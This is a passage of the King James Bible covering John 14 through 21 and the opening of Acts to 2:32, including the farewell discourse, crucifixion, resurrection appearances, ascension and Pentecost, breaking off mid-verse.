Father, but by me. + +14:7 If ye had known me, ye should have known my Father also: and from +henceforth ye know him, and have seen him. + +14:8 Philip saith unto him, Lord, shew us the Father, and it sufficeth +us. + +14:9 Jesus saith unto him, Have I been so long time with you, and yet +hast thou not known me, Philip? he that hath seen me hath seen the +Father; and how sayest thou then, Shew us the Father? 14:10 Believest +thou not that I am in the Father, and the Father in me? the words +that I speak unto you I speak not of myself: but the Father that +dwelleth in me, he doeth the works. + +14:11 Believe me that I am in the Father, and the Father in me: or +else believe me for the very works' sake. + +14:12 Verily, verily, I say unto you, He that believeth on me, the +works that I do shall he do also; and greater works than these shall +he do; because I go unto my Father. + +14:13 And whatsoever ye shall ask in my name, that will I do, that the +Father may be glorified in the Son. + +14:14 If ye shall ask any thing in my name, I will do it. + +14:15 If ye love me, keep my commandments. + +14:16 And I will pray the Father, and he shall give you another +Comforter, that he may abide with you for ever; 14:17 Even the Spirit +of truth; whom the world cannot receive, because it seeth him not, +neither knoweth him: but ye know him; for he dwelleth with you, and +shall be in you. + +14:18 I will not leave you comfortless: I will come to you. + +14:19 Yet a little while, and the world seeth me no more; but ye see +me: because I live, ye shall live also. + +14:20 At that day ye shall know that I am in my Father, and ye in me, +and I in you. + +14:21 He that hath my commandments, and keepeth them, he it is that +loveth me: and he that loveth me shall be loved of my Father, and I +will love him, and will manifest myself to him. + +14:22 Judas saith unto him, not Iscariot, Lord, how is it that thou +wilt manifest thyself unto us, and not unto the world? 14:23 Jesus +answered and said unto him, If a man love me, he will keep my words: +and my Father will love him, and we will come unto him, and make our +abode with him. + +14:24 He that loveth me not keepeth not my sayings: and the word which +ye hear is not mine, but the Father's which sent me. + +14:25 These things have I spoken unto you, being yet present with you. + +14:26 But the Comforter, which is the Holy Ghost, whom the Father will +send in my name, he shall teach you all things, and bring all things +to your remembrance, whatsoever I have said unto you. + +14:27 Peace I leave with you, my peace I give unto you: not as the +world giveth, give I unto you. Let not your heart be troubled, neither +let it be afraid. + +14:28 Ye have heard how I said unto you, I go away, and come again +unto you. If ye loved me, ye would rejoice, because I said, I go unto +the Father: for my Father is greater than I. + +14:29 And now I have told you before it come to pass, that, when it is +come to pass, ye might believe. + +14:30 Hereafter I will not talk much with you: for the prince of this +world cometh, and hath nothing in me. + +14:31 But that the world may know that I love the Father; and as the +Father gave me commandment, even so I do. Arise, let us go hence. + +15:1 I am the true vine, and my Father is the husbandman. + +15:2 Every branch in me that beareth not fruit he taketh away: and +every branch that beareth fruit, he purgeth it, that it may bring +forth more fruit. + +15:3 Now ye are clean through the word which I have spoken unto you. + +15:4 Abide in me, and I in you. As the branch cannot bear fruit of +itself, except it abide in the vine; no more can ye, except ye abide +in me. + +15:5 I am the vine, ye are the branches: He that abideth in me, and I +in him, the same bringeth forth much fruit: for without me ye can do +nothing. + +15:6 If a man abide not in me, he is cast forth as a branch, and is +withered; and men gather them, and cast them into the fire, and they +are burned. + +15:7 If ye abide in me, and my words abide in you, ye shall ask what +ye will, and it shall be done unto you. + +15:8 Herein is my Father glorified, that ye bear much fruit; so shall +ye be my disciples. + +15:9 As the Father hath loved me, so have I loved you: continue ye in +my love. + +15:10 If ye keep my commandments, ye shall abide in my love; even as I +have kept my Father's commandments, and abide in his love. + +15:11 These things have I spoken unto you, that my joy might remain in +you, and that your joy might be full. + +15:12 This is my commandment, That ye love one another, as I have +loved you. + +15:13 Greater love hath no man than this, that a man lay down his life +for his friends. + +15:14 Ye are my friends, if ye do whatsoever I command you. + +15:15 Henceforth I call you not servants; for the servant knoweth not +what his lord doeth: but I have called you friends; for all things +that I have heard of my Father I have made known unto you. + +15:16 Ye have not chosen me, but I have chosen you, and ordained you, +that ye should go and bring forth fruit, and that your fruit should +remain: that whatsoever ye shall ask of the Father in my name, he may +give it you. + +15:17 These things I command you, that ye love one another. + +15:18 If the world hate you, ye know that it hated me before it hated +you. + +15:19 If ye were of the world, the world would love his own: but +because ye are not of the world, but I have chosen you out of the +world, therefore the world hateth you. + +15:20 Remember the word that I said unto you, The servant is not +greater than his lord. If they have persecuted me, they will also +persecute you; if they have kept my saying, they will keep yours also. + +15:21 But all these things will they do unto you for my name's sake, +because they know not him that sent me. + +15:22 If I had not come and spoken unto them, they had not had sin: +but now they have no cloak for their sin. + +15:23 He that hateth me hateth my Father also. + +15:24 If I had not done among them the works which none other man did, +they had not had sin: but now have they both seen and hated both me +and my Father. + +15:25 But this cometh to pass, that the word might be fulfilled that +is written in their law, They hated me without a cause. + +15:26 But when the Comforter is come, whom I will send unto you from +the Father, even the Spirit of truth, which proceedeth from the +Father, he shall testify of me: 15:27 And ye also shall bear witness, +because ye have been with me from the beginning. + +16:1 These things have I spoken unto you, that ye should not be +offended. + +16:2 They shall put you out of the synagogues: yea, the time cometh, +that whosoever killeth you will think that he doeth God service. + +16:3 And these things will they do unto you, because they have not +known the Father, nor me. + +16:4 But these things have I told you, that when the time shall come, +ye may remember that I told you of them. And these things I said not +unto you at the beginning, because I was with you. + +16:5 But now I go my way to him that sent me; and none of you asketh +me, Whither goest thou? 16:6 But because I have said these things +unto you, sorrow hath filled your heart. + +16:7 Nevertheless I tell you the truth; It is expedient for you that I +go away: for if I go not away, the Comforter will not come unto you; +but if I depart, I will send him unto you. + +16:8 And when he is come, he will reprove the world of sin, and of +righteousness, and of judgment: 16:9 Of sin, because they believe not +on me; 16:10 Of righteousness, because I go to my Father, and ye see +me no more; 16:11 Of judgment, because the prince of this world is +judged. + +16:12 I have yet many things to say unto you, but ye cannot bear them +now. + +16:13 Howbeit when he, the Spirit of truth, is come, he will guide you +into all truth: for he shall not speak of himself; but whatsoever he +shall hear, that shall he speak: and he will shew you things to come. + +16:14 He shall glorify me: for he shall receive of mine, and shall +shew it unto you. + +16:15 All things that the Father hath are mine: therefore said I, that +he shall take of mine, and shall shew it unto you. + +16:16 A little while, and ye shall not see me: and again, a little +while, and ye shall see me, because I go to the Father. + +16:17 Then said some of his disciples among themselves, What is this +that he saith unto us, A little while, and ye shall not see me: and +again, a little while, and ye shall see me: and, Because I go to the +Father? 16:18 They said therefore, What is this that he saith, A +little while? we cannot tell what he saith. + +16:19 Now Jesus knew that they were desirous to ask him, and said unto +them, Do ye enquire among yourselves of that I said, A little while, +and ye shall not see me: and again, a little while, and ye shall see +me? 16:20 Verily, verily, I say unto you, That ye shall weep and +lament, but the world shall rejoice: and ye shall be sorrowful, but +your sorrow shall be turned into joy. + +16:21 A woman when she is in travail hath sorrow, because her hour is +come: but as soon as she is delivered of the child, she remembereth no +more the anguish, for joy that a man is born into the world. + +16:22 And ye now therefore have sorrow: but I will see you again, and +your heart shall rejoice, and your joy no man taketh from you. + +16:23 And in that day ye shall ask me nothing. Verily, verily, I say +unto you, Whatsoever ye shall ask the Father in my name, he will give +it you. + +16:24 Hitherto have ye asked nothing in my name: ask, and ye shall +receive, that your joy may be full. + +16:25 These things have I spoken unto you in proverbs: but the time +cometh, when I shall no more speak unto you in proverbs, but I shall +shew you plainly of the Father. + +16:26 At that day ye shall ask in my name: and I say not unto you, +that I will pray the Father for you: 16:27 For the Father himself +loveth you, because ye have loved me, and have believed that I came +out from God. + +16:28 I came forth from the Father, and am come into the world: again, +I leave the world, and go to the Father. + +16:29 His disciples said unto him, Lo, now speakest thou plainly, and +speakest no proverb. + +16:30 Now are we sure that thou knowest all things, and needest not +that any man should ask thee: by this we believe that thou camest +forth from God. + +16:31 Jesus answered them, Do ye now believe? 16:32 Behold, the hour +cometh, yea, is now come, that ye shall be scattered, every man to his +own, and shall leave me alone: and yet I am not alone, because the +Father is with me. + +16:33 These things I have spoken unto you, that in me ye might have +peace. + +In the world ye shall have tribulation: but be of good cheer; I have +overcome the world. + +17:1 These words spake Jesus, and lifted up his eyes to heaven, and +said, Father, the hour is come; glorify thy Son, that thy Son also may +glorify thee: 17:2 As thou hast given him power over all flesh, that +he should give eternal life to as many as thou hast given him. + +17:3 And this is life eternal, that they might know thee the only true +God, and Jesus Christ, whom thou hast sent. + +17:4 I have glorified thee on the earth: I have finished the work +which thou gavest me to do. + +17:5 And now, O Father, glorify thou me with thine own self with the +glory which I had with thee before the world was. + +17:6 I have manifested thy name unto the men which thou gavest me out +of the world: thine they were, and thou gavest them me; and they have +kept thy word. + +17:7 Now they have known that all things whatsoever thou hast given me +are of thee. + +17:8 For I have given unto them the words which thou gavest me; and +they have received them, and have known surely that I came out from +thee, and they have believed that thou didst send me. + +17:9 I pray for them: I pray not for the world, but for them which +thou hast given me; for they are thine. + +17:10 And all mine are thine, and thine are mine; and I am glorified +in them. + +17:11 And now I am no more in the world, but these are in the world, +and I come to thee. Holy Father, keep through thine own name those +whom thou hast given me, that they may be one, as we are. + +17:12 While I was with them in the world, I kept them in thy name: +those that thou gavest me I have kept, and none of them is lost, but +the son of perdition; that the scripture might be fulfilled. + +17:13 And now come I to thee; and these things I speak in the world, +that they might have my joy fulfilled in themselves. + +17:14 I have given them thy word; and the world hath hated them, +because they are not of the world, even as I am not of the world. + +17:15 I pray not that thou shouldest take them out of the world, but +that thou shouldest keep them from the evil. + +17:16 They are not of the world, even as I am not of the world. + +17:17 Sanctify them through thy truth: thy word is truth. + +17:18 As thou hast sent me into the world, even so have I also sent +them into the world. + +17:19 And for their sakes I sanctify myself, that they also might be +sanctified through the truth. + +17:20 Neither pray I for these alone, but for them also which shall +believe on me through their word; 17:21 That they all may be one; as +thou, Father, art in me, and I in thee, that they also may be one in +us: that the world may believe that thou hast sent me. + +17:22 And the glory which thou gavest me I have given them; that they +may be one, even as we are one: 17:23 I in them, and thou in me, that +they may be made perfect in one; and that the world may know that thou +hast sent me, and hast loved them, as thou hast loved me. + +17:24 Father, I will that they also, whom thou hast given me, be with +me where I am; that they may behold my glory, which thou hast given +me: for thou lovedst me before the foundation of the world. + +17:25 O righteous Father, the world hath not known thee: but I have +known thee, and these have known that thou hast sent me. + +17:26 And I have declared unto them thy name, and will declare it: +that the love wherewith thou hast loved me may be in them, and I in +them. + +18:1 When Jesus had spoken these words, he went forth with his +disciples over the brook Cedron, where was a garden, into the which he +entered, and his disciples. + +18:2 And Judas also, which betrayed him, knew the place: for Jesus +ofttimes resorted thither with his disciples. + +18:3 Judas then, having received a band of men and officers from the +chief priests and Pharisees, cometh thither with lanterns and torches +and weapons. + +18:4 Jesus therefore, knowing all things that should come upon him, +went forth, and said unto them, Whom seek ye? 18:5 They answered him, +Jesus of Nazareth. Jesus saith unto them, I am he. + +And Judas also, which betrayed him, stood with them. + +18:6 As soon then as he had said unto them, I am he, they went +backward, and fell to the ground. + +18:7 Then asked he them again, Whom seek ye? And they said, Jesus of +Nazareth. + +18:8 Jesus answered, I have told you that I am he: if therefore ye +seek me, let these go their way: 18:9 That the saying might be +fulfilled, which he spake, Of them which thou gavest me have I lost +none. + +18:10 Then Simon Peter having a sword drew it, and smote the high +priest's servant, and cut off his right ear. The servant's name was +Malchus. + +18:11 Then said Jesus unto Peter, Put up thy sword into the sheath: +the cup which my Father hath given me, shall I not drink it? 18:12 +Then the band and the captain and officers of the Jews took Jesus, and +bound him, 18:13 And led him away to Annas first; for he was father in +law to Caiaphas, which was the high priest that same year. + +18:14 Now Caiaphas was he, which gave counsel to the Jews, that it was +expedient that one man should die for the people. + +18:15 And Simon Peter followed Jesus, and so did another disciple: +that disciple was known unto the high priest, and went in with Jesus +into the palace of the high priest. + +18:16 But Peter stood at the door without. Then went out that other +disciple, which was known unto the high priest, and spake unto her +that kept the door, and brought in Peter. + +18:17 Then saith the damsel that kept the door unto Peter, Art not +thou also one of this man's disciples? He saith, I am not. + +18:18 And the servants and officers stood there, who had made a fire +of coals; for it was cold: and they warmed themselves: and Peter stood +with them, and warmed himself. + +18:19 The high priest then asked Jesus of his disciples, and of his +doctrine. + +18:20 Jesus answered him, I spake openly to the world; I ever taught +in the synagogue, and in the temple, whither the Jews always resort; +and in secret have I said nothing. + +18:21 Why askest thou me? ask them which heard me, what I have said +unto them: behold, they know what I said. + +18:22 And when he had thus spoken, one of the officers which stood by +struck Jesus with the palm of his hand, saying, Answerest thou the +high priest so? 18:23 Jesus answered him, If I have spoken evil, bear +witness of the evil: but if well, why smitest thou me? 18:24 Now +Annas had sent him bound unto Caiaphas the high priest. + +18:25 And Simon Peter stood and warmed himself. They said therefore +unto him, Art not thou also one of his disciples? He denied it, and +said, I am not. + +18:26 One of the servants of the high priest, being his kinsman whose +ear Peter cut off, saith, Did not I see thee in the garden with him? +18:27 Peter then denied again: and immediately the cock crew. + +18:28 Then led they Jesus from Caiaphas unto the hall of judgment: and +it was early; and they themselves went not into the judgment hall, +lest they should be defiled; but that they might eat the passover. + +18:29 Pilate then went out unto them, and said, What accusation bring +ye against this man? 18:30 They answered and said unto him, If he +were not a malefactor, we would not have delivered him up unto thee. + +18:31 Then said Pilate unto them, Take ye him, and judge him according +to your law. The Jews therefore said unto him, It is not lawful for us +to put any man to death: 18:32 That the saying of Jesus might be +fulfilled, which he spake, signifying what death he should die. + +18:33 Then Pilate entered into the judgment hall again, and called +Jesus, and said unto him, Art thou the King of the Jews? 18:34 Jesus +answered him, Sayest thou this thing of thyself, or did others tell it +thee of me? 18:35 Pilate answered, Am I a Jew? Thine own nation and +the chief priests have delivered thee unto me: what hast thou done? +18:36 Jesus answered, My kingdom is not of this world: if my kingdom +were of this world, then would my servants fight, that I should not be +delivered to the Jews: but now is my kingdom not from hence. + +18:37 Pilate therefore said unto him, Art thou a king then? Jesus +answered, Thou sayest that I am a king. To this end was I born, and +for this cause came I into the world, that I should bear witness unto +the truth. Every one that is of the truth heareth my voice. + +18:38 Pilate saith unto him, What is truth? And when he had said this, +he went out again unto the Jews, and saith unto them, I find in him no +fault at all. + +18:39 But ye have a custom, that I should release unto you one at the +passover: will ye therefore that I release unto you the King of the +Jews? 18:40 Then cried they all again, saying, Not this man, but +Barabbas. Now Barabbas was a robber. + +19:1 Then Pilate therefore took Jesus, and scourged him. + +19:2 And the soldiers platted a crown of thorns, and put it on his +head, and they put on him a purple robe, 19:3 And said, Hail, King of +the Jews! and they smote him with their hands. + +19:4 Pilate therefore went forth again, and saith unto them, Behold, I +bring him forth to you, that ye may know that I find no fault in him. + +19:5 Then came Jesus forth, wearing the crown of thorns, and the +purple robe. And Pilate saith unto them, Behold the man! 19:6 When +the chief priests therefore and officers saw him, they cried out, +saying, Crucify him, crucify him. Pilate saith unto them, Take ye him, +and crucify him: for I find no fault in him. + +19:7 The Jews answered him, We have a law, and by our law he ought to +die, because he made himself the Son of God. + +19:8 When Pilate therefore heard that saying, he was the more afraid; +19:9 And went again into the judgment hall, and saith unto Jesus, +Whence art thou? But Jesus gave him no answer. + +19:10 Then saith Pilate unto him, Speakest thou not unto me? knowest +thou not that I have power to crucify thee, and have power to release +thee? 19:11 Jesus answered, Thou couldest have no power at all +against me, except it were given thee from above: therefore he that +delivered me unto thee hath the greater sin. + +19:12 And from thenceforth Pilate sought to release him: but the Jews +cried out, saying, If thou let this man go, thou art not Caesar's +friend: whosoever maketh himself a king speaketh against Caesar. + +19:13 When Pilate therefore heard that saying, he brought Jesus forth, +and sat down in the judgment seat in a place that is called the +Pavement, but in the Hebrew, Gabbatha. + +19:14 And it was the preparation of the passover, and about the sixth +hour: and he saith unto the Jews, Behold your King! 19:15 But they +cried out, Away with him, away with him, crucify him. + +Pilate saith unto them, Shall I crucify your King? The chief priests +answered, We have no king but Caesar. + +19:16 Then delivered he him therefore unto them to be crucified. And +they took Jesus, and led him away. + +19:17 And he bearing his cross went forth into a place called the +place of a skull, which is called in the Hebrew Golgotha: 19:18 Where +they crucified him, and two other with him, on either side one, and +Jesus in the midst. + +19:19 And Pilate wrote a title, and put it on the cross. And the +writing was JESUS OF NAZARETH THE KING OF THE JEWS. + +19:20 This title then read many of the Jews: for the place where Jesus +was crucified was nigh to the city: and it was written in Hebrew, and +Greek, and Latin. + +19:21 Then said the chief priests of the Jews to Pilate, Write not, +The King of the Jews; but that he said, I am King of the Jews. + +19:22 Pilate answered, What I have written I have written. + +19:23 Then the soldiers, when they had crucified Jesus, took his +garments, and made four parts, to every soldier a part; and also his +coat: now the coat was without seam, woven from the top throughout. + +19:24 They said therefore among themselves, Let us not rend it, but +cast lots for it, whose it shall be: that the scripture might be +fulfilled, which saith, They parted my raiment among them, and for my +vesture they did cast lots. These things therefore the soldiers did. + +19:25 Now there stood by the cross of Jesus his mother, and his +mother's sister, Mary the wife of Cleophas, and Mary Magdalene. + +19:26 When Jesus therefore saw his mother, and the disciple standing +by, whom he loved, he saith unto his mother, Woman, behold thy son! +19:27 Then saith he to the disciple, Behold thy mother! And from that +hour that disciple took her unto his own home. + +19:28 After this, Jesus knowing that all things were now accomplished, +that the scripture might be fulfilled, saith, I thirst. + +19:29 Now there was set a vessel full of vinegar: and they filled a +spunge with vinegar, and put it upon hyssop, and put it to his mouth. + +19:30 When Jesus therefore had received the vinegar, he said, It is +finished: and he bowed his head, and gave up the ghost. + +19:31 The Jews therefore, because it was the preparation, that the +bodies should not remain upon the cross on the sabbath day, (for that +sabbath day was an high day,) besought Pilate that their legs might be +broken, and that they might be taken away. + +19:32 Then came the soldiers, and brake the legs of the first, and of +the other which was crucified with him. + +19:33 But when they came to Jesus, and saw that he was dead already, +they brake not his legs: 19:34 But one of the soldiers with a spear +pierced his side, and forthwith came there out blood and water. + +19:35 And he that saw it bare record, and his record is true: and he +knoweth that he saith true, that ye might believe. + +19:36 For these things were done, that the scripture should be +fulfilled, A bone of him shall not be broken. + +19:37 And again another scripture saith, They shall look on him whom +they pierced. + +19:38 And after this Joseph of Arimathaea, being a disciple of Jesus, +but secretly for fear of the Jews, besought Pilate that he might take +away the body of Jesus: and Pilate gave him leave. He came therefore, +and took the body of Jesus. + +19:39 And there came also Nicodemus, which at the first came to Jesus +by night, and brought a mixture of myrrh and aloes, about an hundred +pound weight. + +19:40 Then took they the body of Jesus, and wound it in linen clothes +with the spices, as the manner of the Jews is to bury. + +19:41 Now in the place where he was crucified there was a garden; and +in the garden a new sepulchre, wherein was never man yet laid. + +19:42 There laid they Jesus therefore because of the Jews' preparation +day; for the sepulchre was nigh at hand. + +20:1 The first day of the week cometh Mary Magdalene early, when it +was yet dark, unto the sepulchre, and seeth the stone taken away from +the sepulchre. + +20:2 Then she runneth, and cometh to Simon Peter, and to the other +disciple, whom Jesus loved, and saith unto them, They have taken away +the LORD out of the sepulchre, and we know not where they have laid +him. + +20:3 Peter therefore went forth, and that other disciple, and came to +the sepulchre. + +20:4 So they ran both together: and the other disciple did outrun +Peter, and came first to the sepulchre. + +20:5 And he stooping down, and looking in, saw the linen clothes +lying; yet went he not in. + +20:6 Then cometh Simon Peter following him, and went into the +sepulchre, and seeth the linen clothes lie, 20:7 And the napkin, that +was about his head, not lying with the linen clothes, but wrapped +together in a place by itself. + +20:8 Then went in also that other disciple, which came first to the +sepulchre, and he saw, and believed. + +20:9 For as yet they knew not the scripture, that he must rise again +from the dead. + +20:10 Then the disciples went away again unto their own home. + +20:11 But Mary stood without at the sepulchre weeping: and as she +wept, she stooped down, and looked into the sepulchre, 20:12 And seeth +two angels in white sitting, the one at the head, and the other at the +feet, where the body of Jesus had lain. + +20:13 And they say unto her, Woman, why weepest thou? She saith unto +them, Because they have taken away my LORD, and I know not where they +have laid him. + +20:14 And when she had thus said, she turned herself back, and saw +Jesus standing, and knew not that it was Jesus. + +20:15 Jesus saith unto her, Woman, why weepest thou? whom seekest +thou? She, supposing him to be the gardener, saith unto him, Sir, if +thou have borne him hence, tell me where thou hast laid him, and I +will take him away. + +20:16 Jesus saith unto her, Mary. She turned herself, and saith unto +him, Rabboni; which is to say, Master. + +20:17 Jesus saith unto her, Touch me not; for I am not yet ascended to +my Father: but go to my brethren, and say unto them, I ascend unto my +Father, and your Father; and to my God, and your God. + +20:18 Mary Magdalene came and told the disciples that she had seen the +LORD, and that he had spoken these things unto her. + +20:19 Then the same day at evening, being the first day of the week, +when the doors were shut where the disciples were assembled for fear +of the Jews, came Jesus and stood in the midst, and saith unto them, +Peace be unto you. + +20:20 And when he had so said, he shewed unto them his hands and his +side. + +Then were the disciples glad, when they saw the LORD. + +20:21 Then said Jesus to them again, Peace be unto you: as my Father +hath sent me, even so send I you. + +20:22 And when he had said this, he breathed on them, and saith unto +them, Receive ye the Holy Ghost: 20:23 Whose soever sins ye remit, +they are remitted unto them; and whose soever sins ye retain, they are +retained. + +20:24 But Thomas, one of the twelve, called Didymus, was not with them +when Jesus came. + +20:25 The other disciples therefore said unto him, We have seen the +LORD. + +But he said unto them, Except I shall see in his hands the print of +the nails, and put my finger into the print of the nails, and thrust +my hand into his side, I will not believe. + +20:26 And after eight days again his disciples were within, and Thomas +with them: then came Jesus, the doors being shut, and stood in the +midst, and said, Peace be unto you. + +20:27 Then saith he to Thomas, Reach hither thy finger, and behold my +hands; and reach hither thy hand, and thrust it into my side: and be +not faithless, but believing. + +20:28 And Thomas answered and said unto him, My LORD and my God. + +20:29 Jesus saith unto him, Thomas, because thou hast seen me, thou +hast believed: blessed are they that have not seen, and yet have +believed. + +20:30 And many other signs truly did Jesus in the presence of his +disciples, which are not written in this book: 20:31 But these are +written, that ye might believe that Jesus is the Christ, the Son of +God; and that believing ye might have life through his name. + +21:1 After these things Jesus shewed himself again to the disciples at +the sea of Tiberias; and on this wise shewed he himself. + +21:2 There were together Simon Peter, and Thomas called Didymus, and +Nathanael of Cana in Galilee, and the sons of Zebedee, and two other +of his disciples. + +21:3 Simon Peter saith unto them, I go a fishing. They say unto him, +We also go with thee. They went forth, and entered into a ship +immediately; and that night they caught nothing. + +21:4 But when the morning was now come, Jesus stood on the shore: but +the disciples knew not that it was Jesus. + +21:5 Then Jesus saith unto them, Children, have ye any meat? They +answered him, No. + +21:6 And he said unto them, Cast the net on the right side of the +ship, and ye shall find. They cast therefore, and now they were not +able to draw it for the multitude of fishes. + +21:7 Therefore that disciple whom Jesus loved saith unto Peter, It is +the Lord. Now when Simon Peter heard that it was the Lord, he girt his +fisher's coat unto him, (for he was naked,) and did cast himself into +the sea. + +21:8 And the other disciples came in a little ship; (for they were not +far from land, but as it were two hundred cubits,) dragging the net +with fishes. + +21:9 As soon then as they were come to land, they saw a fire of coals +there, and fish laid thereon, and bread. + +21:10 Jesus saith unto them, Bring of the fish which ye have now +caught. + +21:11 Simon Peter went up, and drew the net to land full of great +fishes, an hundred and fifty and three: and for all there were so +many, yet was not the net broken. + +21:12 Jesus saith unto them, Come and dine. And none of the disciples +durst ask him, Who art thou? knowing that it was the Lord. + +21:13 Jesus then cometh, and taketh bread, and giveth them, and fish +likewise. + +21:14 This is now the third time that Jesus shewed himself to his +disciples, after that he was risen from the dead. + +21:15 So when they had dined, Jesus saith to Simon Peter, Simon, son +of Jonas, lovest thou me more than these? He saith unto him, Yea, +Lord; thou knowest that I love thee. He saith unto him, Feed my lambs. + +21:16 He saith to him again the second time, Simon, son of Jonas, +lovest thou me? He saith unto him, Yea, Lord; thou knowest that I love +thee. He saith unto him, Feed my sheep. + +21:17 He saith unto him the third time, Simon, son of Jonas, lovest +thou me? Peter was grieved because he said unto him the third time, +Lovest thou me? And he said unto him, Lord, thou knowest all things; +thou knowest that I love thee. Jesus saith unto him, Feed my sheep. + +21:18 Verily, verily, I say unto thee, When thou wast young, thou +girdest thyself, and walkedst whither thou wouldest: but when thou +shalt be old, thou shalt stretch forth thy hands, and another shall +gird thee, and carry thee whither thou wouldest not. + +21:19 This spake he, signifying by what death he should glorify God. +And when he had spoken this, he saith unto him, Follow me. + +21:20 Then Peter, turning about, seeth the disciple whom Jesus loved +following; which also leaned on his breast at supper, and said, Lord, +which is he that betrayeth thee? 21:21 Peter seeing him saith to +Jesus, Lord, and what shall this man do? 21:22 Jesus saith unto him, +If I will that he tarry till I come, what is that to thee? follow thou +me. + +21:23 Then went this saying abroad among the brethren, that that +disciple should not die: yet Jesus said not unto him, He shall not +die; but, If I will that he tarry till I come, what is that to thee? +21:24 This is the disciple which testifieth of these things, and wrote +these things: and we know that his testimony is true. + +21:25 And there are also many other things which Jesus did, the which, +if they should be written every one, I suppose that even the world +itself could not contain the books that should be written. Amen. + + + + +The Acts of the Apostles + + +1:1 The former treatise have I made, O Theophilus, of all that Jesus +began both to do and teach, 1:2 Until the day in which he was taken +up, after that he through the Holy Ghost had given commandments unto +the apostles whom he had chosen: 1:3 To whom also he shewed himself +alive after his passion by many infallible proofs, being seen of them +forty days, and speaking of the things pertaining to the kingdom of +God: 1:4 And, being assembled together with them, commanded them that +they should not depart from Jerusalem, but wait for the promise of the +Father, which, saith he, ye have heard of me. + +1:5 For John truly baptized with water; but ye shall be baptized with +the Holy Ghost not many days hence. + +1:6 When they therefore were come together, they asked of him, saying, +Lord, wilt thou at this time restore again the kingdom to Israel? 1:7 +And he said unto them, It is not for you to know the times or the +seasons, which the Father hath put in his own power. + +1:8 But ye shall receive power, after that the Holy Ghost is come upon +you: and ye shall be witnesses unto me both in Jerusalem, and in all +Judaea, and in Samaria, and unto the uttermost part of the earth. + +1:9 And when he had spoken these things, while they beheld, he was +taken up; and a cloud received him out of their sight. + +1:10 And while they looked stedfastly toward heaven as he went up, +behold, two men stood by them in white apparel; 1:11 Which also said, +Ye men of Galilee, why stand ye gazing up into heaven? this same +Jesus, which is taken up from you into heaven, shall so come in like +manner as ye have seen him go into heaven. + +1:12 Then returned they unto Jerusalem from the mount called Olivet, +which is from Jerusalem a sabbath day's journey. + +1:13 And when they were come in, they went up into an upper room, +where abode both Peter, and James, and John, and Andrew, Philip, and +Thomas, Bartholomew, and Matthew, James the son of Alphaeus, and Simon +Zelotes, and Judas the brother of James. + +1:14 These all continued with one accord in prayer and supplication, +with the women, and Mary the mother of Jesus, and with his brethren. + +1:15 And in those days Peter stood up in the midst of the disciples, +and said, (the number of names together were about an hundred and +twenty,) 1:16 Men and brethren, this scripture must needs have been +fulfilled, which the Holy Ghost by the mouth of David spake before +concerning Judas, which was guide to them that took Jesus. + +1:17 For he was numbered with us, and had obtained part of this +ministry. + +1:18 Now this man purchased a field with the reward of iniquity; and +falling headlong, he burst asunder in the midst, and all his bowels +gushed out. + +1:19 And it was known unto all the dwellers at Jerusalem; insomuch as +that field is called in their proper tongue, Aceldama, that is to say, +The field of blood. + +1:20 For it is written in the book of Psalms, Let his habitation be +desolate, and let no man dwell therein: and his bishoprick let another +take. + +1:21 Wherefore of these men which have companied with us all the time +that the Lord Jesus went in and out among us, 1:22 Beginning from the +baptism of John, unto that same day that he was taken up from us, must +one be ordained to be a witness with us of his resurrection. + +1:23 And they appointed two, Joseph called Barsabas, who was surnamed +Justus, and Matthias. + +1:24 And they prayed, and said, Thou, Lord, which knowest the hearts +of all men, shew whether of these two thou hast chosen, 1:25 That he +may take part of this ministry and apostleship, from which Judas by +transgression fell, that he might go to his own place. + +1:26 And they gave forth their lots; and the lot fell upon Matthias; +and he was numbered with the eleven apostles. + +2:1 And when the day of Pentecost was fully come, they were all with +one accord in one place. + +2:2 And suddenly there came a sound from heaven as of a rushing mighty +wind, and it filled all the house where they were sitting. + +2:3 And there appeared unto them cloven tongues like as of fire, and +it sat upon each of them. + +2:4 And they were all filled with the Holy Ghost, and began to speak +with other tongues, as the Spirit gave them utterance. + +2:5 And there were dwelling at Jerusalem Jews, devout men, out of +every nation under heaven. + +2:6 Now when this was noised abroad, the multitude came together, and +were confounded, because that every man heard them speak in his own +language. + +2:7 And they were all amazed and marvelled, saying one to another, +Behold, are not all these which speak Galilaeans? 2:8 And how hear we +every man in our own tongue, wherein we were born? 2:9 Parthians, and +Medes, and Elamites, and the dwellers in Mesopotamia, and in Judaea, +and Cappadocia, in Pontus, and Asia, 2:10 Phrygia, and Pamphylia, in +Egypt, and in the parts of Libya about Cyrene, and strangers of Rome, +Jews and proselytes, 2:11 Cretes and Arabians, we do hear them speak +in our tongues the wonderful works of God. + +2:12 And they were all amazed, and were in doubt, saying one to +another, What meaneth this? 2:13 Others mocking said, These men are +full of new wine. + +2:14 But Peter, standing up with the eleven, lifted up his voice, and +said unto them, Ye men of Judaea, and all ye that dwell at Jerusalem, +be this known unto you, and hearken to my words: 2:15 For these are +not drunken, as ye suppose, seeing it is but the third hour of the +day. + +2:16 But this is that which was spoken by the prophet Joel; 2:17 And +it shall come to pass in the last days, saith God, I will pour out of +my Spirit upon all flesh: and your sons and your daughters shall +prophesy, and your young men shall see visions, and your old men shall +dream dreams: 2:18 And on my servants and on my handmaidens I will +pour out in those days of my Spirit; and they shall prophesy: 2:19 And +I will shew wonders in heaven above, and signs in the earth beneath; +blood, and fire, and vapour of smoke: 2:20 The sun shall be turned +into darkness, and the moon into blood, before the great and notable +day of the Lord come: 2:21 And it shall come to pass, that whosoever +shall call on the name of the Lord shall be saved. + +2:22 Ye men of Israel, hear these words; Jesus of Nazareth, a man +approved of God among you by miracles and wonders and signs, which God +did by him in the midst of you, as ye yourselves also know: 2:23 Him, +being delivered by the determinate counsel and foreknowledge of God, +ye have taken, and by wicked hands have crucified and slain: 2:24 Whom +God hath raised up, having loosed the pains of death: because it was +not possible that he should be holden of it. + +2:25 For David speaketh concerning him, I foresaw the Lord always +before my face, for he is on my right hand, that I should not be +moved: 2:26 Therefore did my heart rejoice, and my tongue was glad; +moreover also my flesh shall rest in hope: 2:27 Because thou wilt not +leave my soul in hell, neither wilt thou suffer thine Holy One to see +corruption. + +2:28 Thou hast made known to me the ways of life; thou shalt make me +full of joy with thy countenance. + +2:29 Men and brethren, let me freely speak unto you of the patriarch +David, that he is both dead and buried, and his sepulchre is with us +unto this day. + +2:30 Therefore being a prophet, and knowing that God had sworn with an +oath to him, that of the fruit of his loins, according to the flesh, +he would raise up Christ to sit on his throne; 2:31 He seeing this +before spake of the resurrection of Christ, that his soul was not left +in hell, neither his flesh did see corruption. + +2:32 This Jesus hath God 